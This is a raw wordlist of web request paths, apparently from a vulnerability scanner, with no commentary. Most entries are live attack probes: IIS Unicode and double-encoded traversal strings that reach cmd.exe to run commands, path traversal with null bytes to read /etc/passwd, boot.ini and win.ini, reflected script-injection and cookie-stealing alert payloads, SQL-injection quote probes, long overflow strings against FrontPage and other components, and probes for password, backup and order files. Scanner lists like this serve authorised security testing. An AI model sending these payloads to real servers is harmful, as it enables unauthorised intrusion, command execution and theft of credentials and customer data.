/Rpc/..%fc%80%80%80%80%af../winnt/system32/cmd.exe?/c+dir
/SELECT%09'aa'%09FROM%09TAB
/SPHERA/login/sm_login_screen.php?error=\"><script>alert('Vulnerable')</script>
/SPHERA/login/sm_login_screen.php?uid=\"><script>alert('Vulnerable')</script>
/SPI
/SPLITTING%3C/html%3E&voteID=1&voteID=2&voteID=3&voteID=4&voteID=5
/SPT--ForumTopics.php?forumid=%27
/SQLQHit.asp
/SQuery/lib/gore.php?libpath=
/STORE/orders.txt
/SUNWmc/htdocs/
/SUNWmc/htdocs/en_US/
/Samples/DirectoryListing.asp?Dir=c%3A%5C\
/Search
/Search.do
/SearchResults.asp?SearchWord=%27test1234&WordSearchCrit=Yes&image.x=0&image.y=0
/SearchResults.php?SearchTerm='&where='&ord1=ItemPrice&ord2=desc
/SearchString=%22%20type%3d%22hidden%22%3e%3cscript%3ealert(9580)%3c%2fscript%3e%3cinput%20type%3d%22hidden%22%20value%3d%22
/Service.asmx
/SessionData/
/SetSecurity.shm
/Shortcut%20to%20login1.asp
/Shortcut%20to%20privacy.htm
/Shortcut%20to%20privacy.html
/ShowProduct.asp?CatID=
/ShowProduct.cfm?CatID=
/SilverStream/
/SilverStream/Administration
/SilverStream/Meta/Tables/?access-mode=text
/SilverStream/Meta/Tables?access-mode=text
/SilverStream/Meta/Webbases
/SilverStream/Sessions
/SilverStream/Statistics
/Site/biztalkhttpreceive.dll
/SiteScope/cgi/go.exe/SiteScope?page=eventLog&machine=&logName=System&account=administrator
/SiteScope/htdocs/SiteScope.html
/SiteServer/Admin/commerce/foundation/DSN.asp
/SiteServer/Admin/commerce/foundation/domain.asp
/SiteServer/Admin/commerce/foundation/driver.asp
/SiteServer/Admin/knowledge/dsmgr/default.asp
/SiteServer/Admin/knowledge/dsmgr/users/GroupManager.asp
/SiteServer/Admin/knowledge/dsmgr/users/UserManager.asp
/SiteServer/Admin/knowledge/persmbr/VsLsLpRd.asp
/SiteServer/Admin/knowledge/persmbr/VsPrAuoEd.asp
/SiteServer/Admin/knowledge/persmbr/VsTmPr.asp
/SiteServer/Admin/knowledge/persmbr/vs.asp
/SiteServer/Knowledge/Default.asp?ctr=%22><script>alert(1070)</script>
/SiteServer/Knowledge/Default.asp?ctr=\"><script>alert('Vulnerable')</script>
/SiteServer/Publishing/ViewCode.asp
/SiteServer/admin/
/SiteServer/admin/findvserver.asp
/Sites/Knowledge/Membership/Inspired/ViewCode.asp
/Sites/Knowledge/Membership/Inspiredtutorial/ViewCode.asp
/Sites/Samples/Knowledge/Membership/Inspired/ViewCode.asp
/Sites/Samples/Knowledge/Membership/Inspiredtutorial/ViewCode.asp
/Sites/Samples/Knowledge/Push/ViewCode.asp
/Sites/Samples/Knowledge/Search/ViewCode.asp
/Sources/
/Statistics/
/Stats/
/StoreDB/
/Store_ViewProducts.asp?Cat=
/Survey/270948929.Htm
/Survey/Survey.Htm
/T3JhY2xlIEFTIFdlYiBDYWNoZSBNdWx0aXBsZSB2dWxuZXJhYmlsaXRpZXM=
/T3JhY2xlIEFwcGxpY2F0aW9uIFNlcnZlciBNdWx0aXBsZSBWdWxuZXJhYmlsaXRpZXM=
/T3JhY2xlOWkgQVMgWE1MIFNPQVAgUHJvY2Vzc2luZyBEb1M=
/TO
/TODO.txt
/TRACE_test
/TellAFriend.asp?idProduct='
/TiVoConnect?Command=QueryContainer&Container=/&Recurse=Yes
/TiVoConnect?Command=QueryServer
/TndAddNsp.bat
/TndAddNspTmp.bat
/ToDo
/ToDo.txt
/TopSitesdirectory/help.php?sid=&lt;script&gt;alert(document.cookie)&lt;/script&gt;
/Trace.axd
/UPGRADE.txt
/USER/CONFIG.AP
/V2ViTG9naWMgcm9sZS1uYW1lIFRhZyBFcnJvcg==
/V2ViTG9naWMgdXNpbmcgU1NMIENyYXNo
/VBZooM/add-subject.php
/VULNERABLE
/ViewCal.html?item_type_id=%3Cscript%3Ealert%281938%29%3C%2Fscript%3E
/ViewCat.php?CatID=21abc'&s_ItemNum=&s_user_id=&s_title=&s_description=&s_asking_min=&s_asking_max=&s_quantity=&s_city_town=&s_state_province=
/ViewDay.html?start=%3Cscript%3Ealert%281936%29%3C%2Fscript%3E
/ViewDay.html?start=2453810&&integral=0&style_sheet=%3Cscript%3Ealert%281934%29%3C%2Fscript%3E
/ViewDay.html?start=2453810&&integral=0&style_sheet=userStyle.css&dropdown=1&show_stop=0&show_resources=0&calendar_id=%3Cscript%3Ealert%281932%29%3C%2Fscript%3E
/ViewDay.html?start=<script>alert("402347100473");</script>
/ViewNewspapers.asp?NewsPaperID=123456'
/ViewProduct.asp?PID=
/ViewProduct.cfm?PID=
/ViewSearch.html?integral=0&show_stop=0&show_resources=0&criteria=calendar_id%3D34&txtSearch=%3Cscript%3Ealert%281940%29%3C%2Fscript%3E
/ViewSearch.html?integral=0&show_stop=0&show_resources=0&criteria=calendar_id%3D34&txtSearch=&opgFields=%3Cscript%3Ealert%281944%29%3C%2Fscript%3E
/ViewSearch.html?integral=0&show_stop=0&show_resources=0&criteria=calendar_id%3DD34&txtSearch=&opgFields=1&opgSearch=%3Cscript%3Ealert%281942%29%3C%2Fscript%3E
/ViewWeek.html?year=2006&week=%3Cscript%3Ealert%281950%29%3C%2Fscript%3E
/ViewYear.html?n=1&dropdown=1&integral=0&approved=%3Cscript%3Ealert%281948%29%3C%2Fscript%3E
/ViewYear.html?n=1&dropdown=1&integral=0&approved=1&show_stop=0&show_resources=0&calendar_id=%3Cscript%3Ealert%281946%29%3C%2Fscript%3E
/W3SVC1/
/W3SVC10/
/W3SVC100/
/W3SVC101/
/W3SVC11/
/W3SVC12/
/W3SVC13/
/W3SVC14/
/W3SVC15/
/W3SVC16/
/W3SVC17/
/W3SVC18/
/W3SVC19/
/W3SVC2/
/W3SVC20/
/W3SVC21/
/W3SVC22/
/W3SVC23/
/W3SVC24/
/W3SVC25/
/W3SVC26/
/W3SVC27/
/W3SVC28/
/W3SVC29/
/W3SVC3/
/W3SVC30/
/W3SVC31/
/W3SVC32/
/W3SVC33/
/W3SVC34/
/W3SVC35/
/W3SVC36/
/W3SVC37/
/W3SVC38/
/W3SVC39/
/W3SVC4/
/W3SVC40/
/W3SVC41/
/W3SVC42/
/W3SVC43/
/W3SVC44/
/W3SVC45/
/W3SVC46/
/W3SVC47/
/W3SVC48/
/W3SVC49/
/W3SVC5/
/W3SVC50/
/W3SVC51/
/W3SVC52/
/W3SVC53/
/W3SVC54/
/W3SVC55/
/W3SVC56/
/W3SVC57/
/W3SVC58/
/W3SVC59/
/W3SVC6/
/W3SVC60/
/W3SVC61/
/W3SVC62/
/W3SVC63/
/W3SVC64/
/W3SVC65/
/W3SVC66/
/W3SVC67/
/W3SVC68/
/W3SVC69/
/W3SVC7/
/W3SVC70/
/W3SVC71/
/W3SVC72/
/W3SVC73/
/W3SVC74/
/W3SVC75/
/W3SVC76/
/W3SVC77/
/W3SVC78/
/W3SVC79/
/W3SVC8/
/W3SVC80/
/W3SVC81/
/W3SVC82/
/W3SVC83/
/W3SVC84/
/W3SVC85/
/W3SVC86/
/W3SVC87/
/W3SVC88/
/W3SVC89/
/W3SVC9/
/W3SVC90/
/W3SVC91/
/W3SVC92/
/W3SVC93/
/W3SVC94/
/W3SVC95/
/W3SVC96/
/W3SVC97/
/W3SVC98/
/W3SVC99/
/WEB-INF../
/WEB-INF./992967542.xml
/WEB-INF./web.xml
/WEB-INF/
/WEB-INF/2046746989/
/WEB-INF/cfclasses/
/WEB-INF/lib/
/WEB-INF/web.xml
/WEBAGENT/CQMGSERV/1460632894.TPF
/WEBAGENT/CQMGSERV/CF-SINFO.TPF
/WFDir14484/
/WGVydmVyIFNjcmlwdCBTb3VyY2UgRGlzY2xvc3VyZQ==
/WS_FTP.LOG
/WS_FTP.ini
/WSsamples/
/Web.Config.-old
/Web.Config.1
/Web.Config.2
/Web.Config.3
/Web.Config.TMP
/Web.Config.arc
/Web.Config.bac
/Web.Config.backup
/Web.Config.bak
/Web.Config.old
/Web.Config.old2
/Web.Config.sav
/Web.Config.save
/Web.Config.txt
/Web.Config.~bk
/Web.Config~1
/Web.config
/Web.config.bakup
/Web.config.orig
/Web.config.temp
/WebAdmin.dll?View=Logon
/WebApplication1
/WebApplication1/
/WebApplication2
/WebApplication3
/WebApplication3/
/WebApplication4/
/WebApplication5/
/WebBank/index.html
/WebCacheDemo.html
/WebCalendar/login.php
/WebCart/orders.txt
/WebConsole/TreeAction.do?javascript=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
/WebDB/admin_/737743529.htm
/WebDB/admin_/gateway.htm
/WebID/IISWebAgentIF.dll
/WebObjects/
/WebSTART%20LOG
/WebService
/WebService/
/WebShop/
/WebShop/logs
/WebShop/logs/
/WebShop/logs/cc.txt
/WebShop/logs/ck.log
/WebShop/templates/cc.txt
/WebSphereSamples
/WebSphereSamples/
/WebTrend
/WebTrend/
/Web_Store/web_store.cgi?page=../../../../../../../../../../etc/passwd%00.html
/Web_store/
/Web_store/Admin_files/order.log
/Webmail.mdb
/Webmail/database/1035463565.mdb
/Webmail/database/Webmail.mdb
/WorldClient.cgi?View=Main&User=MDaemon&Password=MServer
/XMBforum/buddy.php
/XMBforum/member.php
/XSL/Transform/java/1807939886.File
/XSL/Transform/java/java.io.File
/XSQLConfig.xml
/XXnonexistentXX
/Xcelerate/LoginPage.html
/YaBB.pl?action=usersrecentposts;username=<IFRAME%20SRC%3Djavascript:alert('XSS-Vulnerability')><%252FIFRAME>
/Zip/1997782910.php
/Zip/divers.php?action=liste&liste='
/[MyAlbum_DIR]/language.inc.php?langs_dir=
/[Script
/[SecCheck]/..%252f..%252f../ext.ini
/[SecCheck]/..%255c..%255c../ext.ini
/[SecCheck]/..%2f../ext.ini
/\"><img%20src=\"javascript:alert(document.domain)\">
/\../\../\../\../\../\../\../etc/httpd/conf/httpd.conf
/\../\../\../\../\../\../\../etc/passwd
/\../\../\../\../\../\../\../www/conf/httpd.conf
/\../manager/html
/_ScriptLibrary/
/_admin/
/_archive/
/_backup/
/_borders/
/_cti_pvt/
/_dat/1826928066
/_dat/login
/_derived/
/_errors
/_errors/
/_fpclass/
/_head.php
/_head.php?_zb_path=../../../../../etc/passwd%00
/_head.php?_zb_path=/../../../../../../../../etc/passwd%00
/_inc/
/_include/
/_includes/
/_index
/_layouts/alllibs.htm
/_layouts/settings.htm
/_layouts/userinfo.htm
/_login1.asp
/_logs
/_logs/
/_mem_bin/
/_mem_bin/..%%35%63../..%%35%63../..%%35%63../winnt/system32/cmd.exe?/c+dir
/_mem_bin/..%%35c../..%%35c../..%%35c../winnt/system32/cmd.exe?/c+dir
/_mem_bin/..%255c..%255c..%255c..%255cwinnt/system32/1298401388.exe
/_mem_bin/..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir
/_mem_bin/..%255c../..%255c../..%255c../winnt/system32/715145214.exe
/_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir
/_mem_bin/..%c0%ae%c0%ae/%c0%ae%c0%ae/winnt/system32/2024316787.exe
/_mem_bin/..%c0%ae%c0%ae/%c0%ae%c0%ae/winnt/system32/cmd.exe?/c+dir
/_mem_bin/..%e0%80%af../winnt/system32/183592502.exe
/_mem_bin/..%e0%80%af../winnt/system32/cmd.exe?/c+dir
/_mem_bin/..%f0%80%80%af../winnt/system32/602748539.exe
/_mem_bin/..%f0%80%80%af../winnt/system32/cmd.exe?/c+dir
/_mem_bin/..%f8%80%80%80%af../winnt/system32/1792432504.exe
/_mem_bin/..%f8%80%80%80%af../winnt/system32/cmd.exe?/c+dir
/_mem_bin/..%fc%80%80%80%80%af../winnt/system32/834632822.exe
/_mem_bin/..%fc%80%80%80%80%af../winnt/system32/cmd.exe?/c+dir
/_mem_bin/FormsLogin.asp
/_mem_bin/auoconfig.asp
/_mem_bin/formslogin.asp?\"><script>alert('Vulnerable')</script>
/_mem_bin/formslogin.asp?\%22><script>alert(1072)</script>
/_mem_bin/remind.asp
/_mmDBScripts/
/_mmDBScripts/MMHTTPDB.asp
/_mmDBScripts/MMHTTPDB.cfm
/_mmDBScripts/MMHTTPDB.php
/_mmServerScripts/
/_mmServerScripts/MMHTTPDB.asp
/_mmServerScripts/MMHTTPDB.cfm
/_mmServerScripts/MMHTTPDB.php
/_mmdbscripts/
/_mmserverscripts/
/_ncl_subjects.html
/_objects/
/_overlay/
/_pages
/_pages/
/_pages/_demo/
/_pages/_demo/_sql/
/_pages/_webapp/_admin/_showjavartdetails.java
/_pages/_webapp/_admin/_showpooldetails.java
/_pages/_webapp/_jsp/
/_passwords/
/_privacy.htm
/_privacy.html
/_private
/_private/
/_private/1495583220.txt
/_private/2146623540.htm
/_private/455817526.mdb
/_private/_vti_cnf/
/_private/form_results.htm
/_private/form_results.html
/_private/form_results.txt
/_private/orders.htm
/_private/orders.txt
/_private/register.htm
/_private/register.txt
/_private/registrations.htm
/_private/registrations.txt
/_private/shopping_cart.mdb
/_root_.sys
/_scriptlibrary/
/_scripts/
/_sharedtemplates/
/_tests
/_tests/
/_themes/
/_vti_adm/
/_vti_aut/
/_vti_bin
/_vti_bin/
/_vti_bin/..%%35%63../..%%35%63../..%%35%63../winnt/system32/cmd.exe?/c+dir
/_vti_bin/..%%35c../..%%35c../..%%35c../winnt/system32/cmd.exe?/c+dir
/_vti_bin/..%255c..%255c..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir
/_vti_bin/..%255c..%255c..%255c..%255cwinnt/system32/228036918.exe
/_vti_bin/..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir
/_vti_bin/..%255c../..%255c../..%255c../winnt/system32/2143636282.exe
/_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir
/_vti_bin/..%c0%ae%c0%ae/%c0%ae%c0%ae/winnt/system32/534796280.exe
/_vti_bin/..%c0%ae%c0%ae/%c0%ae%c0%ae/winnt/system32/cmd.exe?/c+dir
/_vti_bin/..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+dir
/_vti_bin/..%e0%80%af../winnt/system32/235127851.exe
/_vti_bin/..%e0%80%af../winnt/system32/cmd.exe?/c+dir
/_vti_bin/..%f0%80%80%af../winnt/system32/654283888.exe
/_vti_bin/..%f0%80%80%af../winnt/system32/cmd.exe?/c+dir
/_vti_bin/..%f8%80%80%80%af../winnt/system32/1073439925.exe
/_vti_bin/..%f8%80%80%80%af../winnt/system32/cmd.exe?/c+dir
/_vti_bin/..%fc%80%80%80%80%af../winnt/system32/115640243.exe
/_vti_bin/..%fc%80%80%80%80%af../winnt/system32/cmd.exe?/c+dir
/_vti_bin/1308766230/
/_vti_bin/1352755882.dll
/_vti_bin/CGImail.exe
/_vti_bin/_vti_adm/
/_vti_bin/_vti_adm/admin.dll
/_vti_bin/_vti_aut/
/_vti_bin/_vti_aut/1558145064.exe
/_vti_bin/_vti_aut/522276156.dll
/_vti_bin/_vti_aut/author.dll
/_vti_bin/_vti_aut/author.dll?method=list+documents%3a3%2e0%2e2%2e1706&service%5fname=&listHiddenDocs=true&listExplorerDocs=true&listRecurse=false&listFiles=true&listFolders=true&listLinkInfo=true&listIncludeParent=true&listDerivedT=false&listBorders=fals
/_vti_bin/_vti_aut/author.exe
/_vti_bin/_vti_aut/author.exe?method=list+documents%3a3%2e0%2e2%2e1706&service%5fname=&listHiddenDocs=true&listExplorerDocs=true&listRecurse=false&listFiles=true&listFolders=true&listLinkInfo=true&listIncludeParent=true&listDerivedT=false&listBorders=fals
/_vti_bin/_vti_aut/dvwssr.dll
/_vti_bin/_vti_aut/fp30reg.dll
/_vti_bin/_vti_aut/fp30reg.dll?AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
/_vti_bin/_vti_aut/fp30reg.dll?xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
/_vti_bin/_vti_cnf/
/_vti_bin/admin.pl
/_vti_bin/cfgwiz.exe
/_vti_bin/contents.htm
/_vti_bin/fpadmin.htm
/_vti_bin/fpcount.exe
/_vti_bin/fpcount.exe/
/_vti_bin/fpremadm.exe
/_vti_bin/fpsrvadm.exe
/_vti_bin/shtml.dll
/_vti_bin/shtml.dll/<script>alert('CSS')</script>
/_vti_bin/shtml.dll/_vti_rpc
/_vti_bin/shtml.dll/_vti_rpc?method=server+version%3a4%2e0%2e2%2e2611
/_vti_bin/shtml.exe
/_vti_bin/shtml.exe/_vti_rpc
/_vti_bin/shtml.exe/_vti_rpc?method=server+version%3a4%2e0%2e2%2e2611
/_vti_bin/shtml.exe/junk_nonexistant.exe
/_vti_bin/shtml.exe/non-existent.html
/_vti_bot/
/_vti_cnf/
/_vti_cnf/_vti_cnf/
/_vti_inf.html
/_vti_log/
/_vti_log/1563703592.log
/_vti_log/_vti_cnf/
/_vti_log/author.log
/_vti_pvt/
/_vti_pvt/1008474924.pwd
/_vti_pvt/1116351936.htm
/_vti_pvt/1533104816.org
/_vti_pvt/1779002852.stp
/_vti_pvt/343420851.grp
/_vti_pvt/701715562.btr
/_vti_pvt/701715562.cnf
/_vti_pvt/_x_todo.htm
/_vti_pvt/_x_todoh.htm
/_vti_pvt/access.cnf
/_vti_pvt/admin.pwd
/_vti_pvt/administrators.pwd
/_vti_pvt/authors.pwd
/_vti_pvt/botinfs.cnf
/_vti_pvt/bots.cnf
/_vti_pvt/deptodoc.btr
/_vti_pvt/doctodep.btr
/_vti_pvt/linkinfo.cnf
/_vti_pvt/service.cnf
/_vti_pvt/service.grp
/_vti_pvt/service.pwd
/_vti_pvt/service.stp
/_vti_pvt/services.cnf
/_vti_pvt/services.org
/_vti_pvt/structure.cnf
/_vti_pvt/svacl.cnf
/_vti_pvt/svcacl.cnf
/_vti_pvt/uniqueperm.cnf
/_vti_pvt/users.pwd
/_vti_pvt/writeto.cnf
/_vti_pwd/administrators.pwd
/_vti_script/
/_vti_shm/
/_vti_txt/
/_vti_txt/_vti_cnf/
/a%5c.aspx
/a.jsp/<script>alert('Vulnerable')</script>
/a.out
/a/
/a?<script>alert('Vulnerable')</script>
/a_domlog.nsf
/a_security.htm
/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.plx
/ab2/Help_C/\@Ab2HelpSearch?scope=HELP&DwebQuery=<script>alert(Vulnerable)</script> 
/ab2/\@AdminAddadmin?uid=foo&password=bar&re_password=bar
/ab2/\@AdminViewError
/abbc.css.php?ABBC[Config][smileset]=/../../../../../../../../boot.ini%00
/abbc.css.php?ABBC[Config][smileset]=/../../../../../../../../etc/passwd%00
/abbc.css.php?ABBC[Config][smileset]=/../../../../../../../../winnt/win.ini%00
/abc/
/abonnement.asp
/abook.php?func=view&abookview=global%22%3E%3Cimg%2Fsrc%2Fonerror%3D%22alert%2810092%29&email=138195
/about/
/about_us.php?gid=0%27
/acart2_0/
/acart2_0/697195899.mdb
/acart2_0/acart2_0.mdb
/acart2_0/admin/category.asp
/acart2_0/admin/error.asp?msg=<script>alert(\"test\")</script>
/acart2_0/admin/index.asp?msg=<script>alert(\"test\")</script>
/acart2_0/deliver.asp?msg=<script>alert(\"test\")</script>
/acart2_0/error.asp?msg=<script>alert(\"test\")</script>
/acart2_0/signin.asp?msg=<script>alert(\"test\")</script>
/acartpath/
/acartpath/765148158.asp
/acartpath/signin.asp?msg=<script>alert('CSS')</script>
/acartpath/signin.asp?|-|0|404_Object_Not_Found
/acceptDecline.php?beanFiles[1]=/../../../../../../../../boot.ini%00&beanList[1]=1&module=1
/acceptDecline.php?beanFiles[1]=/../../../../../../../../etc/passwd%00&beanList[1]=1&module=1
/acceptDecline.php?beanFiles[1]=/../../../../../../../../winnt/win.ini%00&beanList[1]=1&module=1
/acceso/
/access
/access-log
/access-log/
/access.log
/access/
/access/login.php?path_to_root=
/access_log
/accessinglog/
/accesslog/
/accesso/
/accesswatch/
/acciones/
/account
/account.nsf
/account.php?action=
/account/
/accounting
/accounting/
/accountlogon.cfm?rtn=1"><script>alert("403397101255");</script><"234
/accounts
/accounts.asp
/accounts.nsf
/accounts.php?command=
/accounts/
/accounts/getuserdesc.asp
/achievo//atk/javascript/class.atkdateattribute.js.php?config_atkroot=http://xxxxxxxxxx/
/ackcmdc.exe
/acp/lib/session.php
/acp/lib/session.php?lastvisit=%27
/acp/lib/session.php?userid=%27
/action.php
/action.php/%22%3E%3Cscript%3Ealert(xss)%3C/script%3E
/action.php/%22%3e%3cscript%3ealert(9654)%3c%2fscript%3e
/action/LoginActions
/activatemember?activatecode=%22%3Cscript%3Ealert%282980%29%3C%2Fscript%3E
/activatemember?activatecode=&member=%22%3Cscript%3Ealert%282978%29%3C%2Fscript%3E
/activateuser.php?language=/../../../../../../../../boot.ini%00
/activateuser.php?language=/../../../../../../../../etc/passwd%00
/activateuser.php?language=/../../../../../../../../winnt/win.ini%00
/active.asp
/active.log
/active/components/xmlrpc/client.php?c[components]=
/activeauctionsuperstore/1482647108.asp
/activeauctionsuperstore/ItemInfo.asp?itemID='
/activeauctionsuperstore/default.asp?Sortby='
/activeauctionsuperstore/default.asp?Sortby=ItemName&SortDir='
/activeauctionsuperstore/default.asp?catid='
/activex/
/actuate/
/acweb/
/ad_click.asp?banner_id='
/adcontent.php
/adcycle/
/add.php
/add.php3?url=ja&adurl=javascript:<script>alert('Vulnerable')</script>
/add.php?language%5BENTER_ARTICLE_TITLE%5D=%22%29%3B%7D%7D--%3E%3C%2Fscript%3E%3Cscript%3Ealert%281148%29%3C%2Fscript%3E
/add/
/add_acl
/add_category.asp
/add_comment.php?id=%22%3E%3Cscript%3Ealert(xss)%3C/script%3E%3C%22
/add_edit_cat.asp?page_type=2&cat_id=%27
/add_edit_download.asp?page_type=2&download_id=%27
/add_edit_news.asp?page_type=2&Content_ID=%27
/add_edit_poll.asp?page_type=2&Poll_ID=%27
/add_edit_user.asp?page_type=2&user_id=%27
/add_user.php
/addentry.php?phpbb_root_path=/../../../../../../../../boot.ini%00
/addentry.php?phpbb_root_path=/../../../../../../../../etc/passwd%00
/addentry.php?phpbb_root_path=/../../../../../../../../winnt/win.ini%00
/addguest.cgi
/addmedia.php?factsfile[$LANGUAGE]=
/addnews.php
/addons/fckeditor2rc2/editor/filemanager/browser/default/connectors/php/connector.php?Command=GetFoldersAndFiles&Type=../../../../../../../../&CurrentFolder=
/addpost_newpoll.php?addpoll=preview&thispath=
/address/
/addressbook.php?\"><script>alert(Vulnerable)</script><!--
/addressbook.php?address=1%27
/addressbook/index.php?name=<script>alert('Vulnerable')</script>
/addressbook/index.php?surname=<script>alert('Vulnerable')</script>
/addyoursite.php?catid=&lt;Script&gt;JavaScript:alert('Vulnerable');&lt;/Script&gt;
/adm
/adm/
/admbrowse.php?down=1&amp;cur=%2Fetc%2F&amp;dest=passwd&amp;rid=1&amp;S=[someid]
/admcgi/
/admcgi/1952428966.htm
/admcgi/contents.htm
/admcgi/scripts/Fpadmcgi.exe
/admentor/
/admentor/1226345454.mdb
/admentor/2072203225/
/admentor/ad97.mdb
/admentor/admin/
/admentor/adminadmin.asp
/admin
/admin-serv/
/admin-serv/config/adm.conf
/admin-serv/config/admpw
/admin-serv/tasks/configuration/ViewLog?file=boot.ini&num=5000&str=&directories=admin-serv%2Flogs%2f..%2f..%2f..%2f..%2f..%2f..%2f&id=admin-serv
/admin-serv/tasks/configuration/ViewLog?file=passwd&num=5000&str=&directories=admin-serv%2Flogs%2f..%2f..%2f..%2f..%2f..%2f..%2fetc&id=admin-serv
/admin-serv/tasks/configuration/ViewLog?file=win.ini&num=5000&str=&directories=admin-serv%2Flogs%2f..%2f..%2f..%2f..%2f..%2f..%2fwinnt&id=admin-serv
/admin.asp
/admin.aspx
/admin.cfg
/admin.cfm
/admin.cgi
/admin.conf
/admin.dat
/admin.data
/admin.db
/admin.dbf
/admin.exe
/admin.htm
/admin.html
/admin.htx
/admin.ini
/admin.lst
/admin.nsf
/admin.php
/admin.php/%3cscript%3ealert(2710)%3c%2fscript%3e
/admin.php3
/admin.php3?admin=anything
/admin.php4?reg_login=1
/admin.php?"><script>alert(document.cookie);</script>
/admin.php?"><script>alert(xss)</script><"
/admin.php?GroupsId=%27
/admin.php?ItemsId=%27
/admin.php?MK_PATH=1
/admin.php?a=headers&msg=%27
/admin.php?action=full&id=-1%27
/admin.php?action=phpinfo
/admin.php?cal_dir=
/admin.php?com_option=%3E%22%27%3E%3CSCRIPT%3Ea%3D9436%3Balert%28a.source%29%3C%2FSCRIPT%3E
/admin.php?en_log_id=0&action=config
/admin.php?en_log_id=0&action=users
/admin.php?loggedin=1
/admin.php?module%5B%5D=groups
/admin.php?module=NS-Languages&op=missing&language=%22%3E%3Cscript%3Ealert%281352%29%3C%2Fscript%3E
/admin.php?module=NS-Languages&op=missing&language=%27
/admin.php?module=NS-Languages&op=translation&language=%3Cscript%3Ealert%281354%29%3C%2Fscript%3E
/admin.php?module=Past_Nuke&op=deleteNotice
/admin.php?module=badwords&curr=%27&delete=1
/admin.php?module=groups&edit=1&group_id=%22%3E%3Cscript%3Ealert%288874%29%3C%2Fscript%3E
/admin.php?module=modsettings&mod=smileys&edit=1&smiley_id=%22%3E%3Cscript%3Ealert%288876%29%3C%2Fscript%3E
/admin.php?op=editArticleCategories
/admin.php?op=view&db_table=support_desk&tile=support_desk_list&where=WHERE+call_status=%27
/admin.php?op=view&db_table=todo_list&tile=todo&where=%27
/admin.php?op=view&db_table=todo_list&tile=todo&where=WHERE+todo_status=%27
/admin.php?op=view&db_table=todo_list&where=&order=%27
/admin.php?page=
/admin.php?style=../robots.txt%00&language=ircrash
/admin.php?upgradefile=%22%3E%3Cscript%3Ealert%288716%29%3C%2Fscript%3E
/admin.pl
/admin.pw
/admin.shtml
/admin.txt
/admin.udl
/admin/
/admin/1177381375.aspx
/admin/1303791803.htm
/admin/15724916.asp
/admin/2022784382.php
/admin/74183085.html
/admin/?no_rgcheck=true&lang=1&l_username=%3C%2Ftd%3E%3Cscript%3Ealert%289280%29%3C%2Fscript%3E%3Ctd%3E
/admin/Orders/orders.txt
/admin/SQLServ/1594134255.asp
/admin/SQLServ/sqlbrowse.asp
/admin/ServerProperties.html
/admin/accounts/listreason.asp?ListReason=tester'
/admin/addentry.php?phpbb_root_path=/../../../../../../../../boot.ini%00
/admin/addentry.php?phpbb_root_path=/../../../../../../../../etc/passwd%00
/admin/addentry.php?phpbb_root_path=/../../../../../../../../winnt/win.ini%00
/admin/admin.php
/admin/admin.php?adminpy=1
